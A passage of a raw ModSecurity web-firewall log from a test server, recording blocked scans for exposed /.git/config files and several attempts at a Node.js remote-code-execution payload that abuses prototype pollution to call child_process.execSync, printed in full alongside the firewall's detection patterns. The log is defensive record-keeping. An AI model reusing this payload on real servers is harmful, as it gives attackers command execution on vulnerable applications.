&quot;OWASP_TOP_10/A1&quot;] [tag &quot;PCI/6.5.2&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aT2471T4n4stcFLf_7aXbQAAAD8&quot;]
[Sat Dec 13 20:05:19.873930 2025] [:error] [pid 714766] [client 72.60.190.6:50580] [client 72.60.190.6] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aT2471T4n4stcFLf_7aXbQAAAD8&quot;]
[Sat Dec 13 20:05:19.874145 2025] [:error] [pid 714766] [client 72.60.190.6:50580] [client 72.60.190.6] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aT2471T4n4stcFLf_7aXbQAAAD8&quot;]
[Sun Dec 14 21:36:04.382620 2025] [:error] [pid 740196] [client 45.153.34.216:35668] [client 45.153.34.216] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aT8ftE-C2yRgUYsHp7XF-wAAAA0&quot;]
[Sun Dec 14 21:36:04.382893 2025] [:error] [pid 740196] [client 45.153.34.216:35668] [client 45.153.34.216] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aT8ftE-C2yRgUYsHp7XF-wAAAA0&quot;]
[Sun Dec 14 21:36:04.383089 2025] [:error] [pid 740196] [client 45.153.34.216:35668] [client 45.153.34.216] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aT8ftE-C2yRgUYsHp7XF-wAAAA0&quot;]
[Mon Dec 15 04:34:55.487692 2025] [:error] [pid 746257] [client 176.65.132.157:55044] [client 176.65.132.157] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aT-B333E8lQgMp2I0Im67QAAAAA&quot;]
[Mon Dec 15 04:34:55.487938 2025] [:error] [pid 746257] [client 176.65.132.157:55044] [client 176.65.132.157] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aT-B333E8lQgMp2I0Im67QAAAAA&quot;]
[Mon Dec 15 04:34:55.488123 2025] [:error] [pid 746257] [client 176.65.132.157:55044] [client 176.65.132.157] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aT-B333E8lQgMp2I0Im67QAAAAA&quot;]
[Mon Dec 15 04:34:55.745938 2025] [:error] [pid 746261] [client 176.65.132.157:55062] [client 176.65.132.157] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /update/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/update/.git/config&quot;] [unique_id &quot;aT-B35nOo69R1zJNrFrfHQAAAAQ&quot;]
[Mon Dec 15 04:34:55.746250 2025] [:error] [pid 746261] [client 176.65.132.157:55062] [client 176.65.132.157] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/update/.git/config&quot;] [unique_id &quot;aT-B35nOo69R1zJNrFrfHQAAAAQ&quot;]
[Mon Dec 15 04:34:55.746570 2025] [:error] [pid 746261] [client 176.65.132.157:55062] [client 176.65.132.157] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/update/.git/config&quot;] [unique_id &quot;aT-B35nOo69R1zJNrFrfHQAAAAQ&quot;]
[Mon Dec 15 04:34:56.019709 2025] [:error] [pid 746540] [client 176.65.132.157:55072] [client 176.65.132.157] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /app/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.git/config&quot;] [unique_id &quot;aT-B4By_UaOTbTtiB-f5CgAAAAY&quot;]
[Mon Dec 15 04:34:56.019925 2025] [:error] [pid 746540] [client 176.65.132.157:55072] [client 176.65.132.157] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.git/config&quot;] [unique_id &quot;aT-B4By_UaOTbTtiB-f5CgAAAAY&quot;]
[Mon Dec 15 04:34:56.020563 2025] [:error] [pid 746540] [client 176.65.132.157:55072] [client 176.65.132.157] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.git/config&quot;] [unique_id &quot;aT-B4By_UaOTbTtiB-f5CgAAAAY&quot;]
[Mon Dec 15 06:33:06.788915 2025] [:error] [pid 746260] [client 43.201.99.71:59082] [client 43.201.99.71] ModSecurity: Warning. Pattern match &quot;(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[&lt;&gt;]\\\\(.*\\\\))&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;372&quot;] [id &quot;932130&quot;] [msg &quot;Remote Command Execution: Unix Shell Expression Found&quot;] [data &quot;Matched Data: ${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}} found within ARGS:0: {then: $1:__proto__:then status: resolved_model reason: -1 value: {then:$b1337} _response: {_prefix: var res=process.mainmodule.require(child_process).execsync(echo vuln_test_123456 | base64 -w 0).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}}&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-shell&quot;] [tag &quot;platform-unix&quot;] [tag &quot;attack-rce&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION&quot;] [tag &quot;WASCTC/WASC-31&quot;] [tag &quot;OWASP_TOP_10/A1&quot;] [tag &quot;PCI/6.5.2&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps&quot;] [unique_id &quot;aT-dkoeqdCTnjVa-bwo3WgAAAAM&quot;]
[Mon Dec 15 06:33:06.789396 2025] [:error] [pid 746260] [client 43.201.99.71:59082] [client 43.201.99.71] ModSecurity: Warning. Pattern match &quot;(?i)[\\\\s\\\\S]((?:x(?:link:href|html|mlns)|!ENTITY.*?(?:SYSTEM|PUBLIC)|data:text\\\\/html|formaction|\\\\@import|base64)\\\\b|pattern\\\\b.*?=)&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf&quot;] [line &quot;149&quot;] [id &quot;941130&quot;] [msg &quot;XSS Filter - Category 3: Attribute Vector&quot;] [data &quot;Matched Data:  base64 found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x22then\\x22:\\x22$B1337\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require(&#039;child_process&#039;).execSync(&#039;echo VULN_TEST_123456 | base64 -w 0&#039;).toString().trim();;throw Object.assign(new Error(&#039;NEXT_REDIRECT&#039;),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, \\x22_formData\\...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-xss&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/W [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps&quot;] [unique_id &quot;aT-dkoeqdCTnjVa-bwo3WgAAAAM&quot;]
[Mon Dec 15 06:33:06.790373 2025] [:error] [pid 746260] [client 43.201.99.71:59082] [client 43.201.99.71] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps&quot;] [unique_id &quot;aT-dkoeqdCTnjVa-bwo3WgAAAAM&quot;]
[Mon Dec 15 06:33:06.790566 2025] [:error] [pid 746260] [client 43.201.99.71:59082] [client 43.201.99.71] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=5,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps&quot;] [unique_id &quot;aT-dkoeqdCTnjVa-bwo3WgAAAAM&quot;]
[Mon Dec 15 08:18:45.667337 2025] [:error] [pid 746540] [client 43.206.223.99:49168] [client 43.206.223.99] ModSecurity: Warning. Pattern match &quot;(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[&lt;&gt;]\\\\(.*\\\\))&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;372&quot;] [id &quot;932130&quot;] [msg &quot;Remote Command Execution: Unix Shell Expression Found&quot;] [data &quot;Matched Data: ${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}} found within ARGS:0: {then: $1:__proto__:then status: resolved_model reason: -1 value: {then:$b1337} _response: {_prefix: var res=process.mainmodule.require(child_process).execsync(echo vuln_test_123456 | base64 -w 0).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}}&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-shell&quot;] [tag &quot;platform-unix&quot;] [tag &quot;attack-rce&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION&quot;] [tag &quot;WASCTC/WASC-31&quot;] [tag &quot;OWASP_TOP_10/A1&quot;] [tag &quot;PCI/6.5.2&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps&quot;] [unique_id &quot;aT-2VRy_UaOTbTtiB-f5LQAAAAY&quot;]
[Mon Dec 15 08:18:45.667855 2025] [:error] [pid 746540] [client 43.206.223.99:49168] [client 43.206.223.99] ModSecurity: Warning. Pattern match &quot;(?i)[\\\\s\\\\S]((?:x(?:link:href|html|mlns)|!ENTITY.*?(?:SYSTEM|PUBLIC)|data:text\\\\/html|formaction|\\\\@import|base64)\\\\b|pattern\\\\b.*?=)&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf&quot;] [line &quot;149&quot;] [id &quot;941130&quot;] [msg &quot;XSS Filter - Category 3: Attribute Vector&quot;] [data &quot;Matched Data:  base64 found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x22then\\x22:\\x22$B1337\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require(&#039;child_process&#039;).execSync(&#039;echo VULN_TEST_123456 | base64 -w 0&#039;).toString().trim();;throw Object.assign(new Error(&#039;NEXT_REDIRECT&#039;),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, \\x22_formData\\...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-xss&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/W [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps&quot;] [unique_id &quot;aT-2VRy_UaOTbTtiB-f5LQAAAAY&quot;]
[Mon Dec 15 08:18:45.668810 2025] [:error] [pid 746540] [client 43.206.223.99:49168] [client 43.206.223.99] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps&quot;] [unique_id &quot;aT-2VRy_UaOTbTtiB-f5LQAAAAY&quot;]
[Mon Dec 15 08:18:45.668992 2025] [:error] [pid 746540] [client 43.206.223.99:49168] [client 43.206.223.99] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=5,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps&quot;] [unique_id &quot;aT-2VRy_UaOTbTtiB-f5LQAAAAY&quot;]
[Tue Dec 16 16:04:34.134263 2025] [:error] [pid 772688] [client 54.233.57.115:40856] [client 54.233.57.115] ModSecurity: Warning. Pattern match &quot;(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[&lt;&gt;]\\\\(.*\\\\))&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;372&quot;] [id &quot;932130&quot;] [msg &quot;Remote Command Execution: Unix Shell Expression Found&quot;] [data &quot;Matched Data: ${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}} found within ARGS:0: {then: $1:__proto__:then status: resolved_model reason: -1 value: {then:$b1337} _response: {_prefix: var res=process.mainmodule.require(child_process).execsync(echo vuln_test_123456 | base64 -w 0).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}}&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-shell&quot;] [tag &quot;platform-unix&quot;] [tag &quot;attack-rce&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION&quot;] [tag &quot;WASCTC/WASC-31&quot;] [tag &quot;OWASP_TOP_10/A1&quot;] [tag &quot;PCI/6.5.2&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps&quot;] [unique_id &quot;aUF1Arkrl1QSV07OkBzClgAAAA0&quot;]
[Tue Dec 16 16:04:34.136536 2025] [:error] [pid 772688] [client 54.233.57.115:40856] [client 54.233.57.115] ModSecurity: Warning. Pattern match &quot;(?i)[\\\\s\\\\S]((?:x(?:link:href|html|mlns)|!ENTITY.*?(?:SYSTEM|PUBLIC)|data:text\\\\/html|formaction|\\\\@import|base64)\\\\b|pattern\\\\b.*?=)&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf&quot;] [line &quot;149&quot;] [id &quot;941130&quot;] [msg &quot;XSS Filter - Category 3: Attribute Vector&quot;] [data &quot;Matched Data:  base64 found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x22then\\x22:\\x22$B1337\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require(&#039;child_process&#039;).execSync(&#039;echo VULN_TEST_123456 | base64 -w 0&#039;).toString().trim();;throw Object.assign(new Error(&#039;NEXT_REDIRECT&#039;),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, \\x22_formData\\...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-xss&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/W [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps&quot;] [unique_id &quot;aUF1Arkrl1QSV07OkBzClgAAAA0&quot;]
[Tue Dec 16 16:04:34.137573 2025] [:error] [pid 772688] [client 54.233.57.115:40856] [client 54.233.57.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps&quot;] [unique_id &quot;aUF1Arkrl1QSV07OkBzClgAAAA0&quot;]
[Tue Dec 16 16:04:34.137797 2025] [:error] [pid 772688] [client 54.233.57.115:40856] [client 54.233.57.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=5,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps&quot;] [unique_id &quot;aUF1Arkrl1QSV07OkBzClgAAAA0&quot;]
[Thu Dec 18 01:19:08.543004 2025] [:error] [pid 810593] [client 3.250.11.253:55560] [client 3.250.11.253] ModSecurity: Warning. Pattern match &quot;(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[&lt;&gt;]\\\\(.*\\\\))&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;372&quot;] [id &quot;932130&quot;] [msg &quot;Remote Command Execution: Unix Shell Expression Found&quot;] [data &quot;Matched Data: ${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}} found within ARGS:0: {then: $1:__proto__:then status: resolved_model reason: -1 value: {then:$b1337} _response: {_prefix: var res=process.mainmodule.require(child_process).execsync(echo vuln_test_123456 | base64 -w 0).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}}&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-shell&quot;] [tag &quot;platform-unix&quot;] [tag &quot;attack-rce&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION&quot;] [tag &quot;WASCTC/WASC-31&quot;] [tag &quot;OWASP_TOP_10/A1&quot;] [tag &quot;PCI/6.5.2&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps&quot;] [unique_id &quot;aUNIfFXYVi-cYqymYgYAmAAAAAE&quot;]
[Thu Dec 18 01:19:08.543464 2025] [:error] [pid 810593] [client 3.250.11.253:55560] [client 3.250.11.253] ModSecurity: Warning. Pattern match &quot;(?i)[\\\\s\\\\S]((?:x(?:link:href|html|mlns)|!ENTITY.*?(?:SYSTEM|PUBLIC)|data:text\\\\/html|formaction|\\\\@import|base64)\\\\b|pattern\\\\b.*?=)&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf&quot;] [line &quot;149&quot;] [id &quot;941130&quot;] [msg &quot;XSS Filter - Category 3: Attribute Vector&quot;] [data &quot;Matched Data:  base64 found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x22then\\x22:\\x22$B1337\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require(&#039;child_process&#039;).execSync(&#039;echo VULN_TEST_123456 | base64 -w 0&#039;).toString().trim();;throw Object.assign(new 